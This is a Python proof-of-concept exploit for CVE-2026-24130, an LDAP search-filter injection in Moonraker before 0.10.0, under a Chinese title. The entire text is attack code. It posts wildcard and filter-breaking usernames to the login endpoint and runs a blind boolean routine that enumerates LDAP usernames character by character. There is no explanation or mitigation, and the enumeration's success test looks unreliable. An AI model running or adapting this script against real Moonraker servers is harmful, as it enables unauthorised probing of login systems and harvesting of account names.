CVE-2026-24130 Moonraker LDAP搜索过滤器注入漏洞

import requests import sys # CVE-2026-24130 LDAP Injection PoC for Moonraker # Target: Moonraker < 0.10.0 with LDAP component enabled TARGET_URL = "http://target-ip:7125" LOGIN_ENDPOINT = f"{TARGET_URL}/access/login" def test_ldap_injection_basic(): """Test basic LDAP injection to determine if vulnerability exists""" # Test payload: wildcard injection to check if filter is injectable payloads = [ {"user": "*", "password": "invalid"}, # Wildcard test {"user": "admin)(*)(&password=test", "password": "test"}, # Filter manipulation {"user": "*)*)(&password=test", "password": "test"}, # Filter closing ] print("[*] Testing LDAP Injection vulnerability...") for i, payload in enumerate(payloads, 1): try: response = requests.post(LOGIN_ENDPOINT, json=payload, timeout=10) print(f"[*] Payload {i}: Status={response.status_code}") # Different response patterns may indicate successful injection if response.status_code == 401: print(f" Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") def enumerate_ldap_entries(): """Brute force enumeration of LDAP entries using boolean injection""" # Example: Enumerating usernames character by character charset = "abcdefghijklmnopqrstuvwxyz0123456789_-@." discovered_user = "" print("[*] Starting LDAP entry enumeration...") for pos in range(1, 33): # Max username length 32 found = False for char in charset: # Blind boolean injection - extract character by character test_user = discovered_user + char payload = { "user": f")({test_user}*", # LDAP filter injection "password": "dummy" } try: response = requests.post(LOGIN_ENDPOINT, json=payload, timeout=5) # Analyze response timing or content differences if response.status_code == 401 and "invalid" in response.text.lower(): discovered_user += char print(f"[+] Position {pos}: Found '{char}', current: {discovered_user}") found = True break except: pass if not found: break print(f"[*] Discovered LDAP entry: {discovered_user}") return discovered_user if __name__ == "__main__": print("=" * 50) print("CVE-2026-24130 Moonraker LDAP Injection PoC") print("=" * 50) test_ldap_injection_basic() # Uncomment to run enumeration (requires vulnerable target) # enumerate_ldap_entries()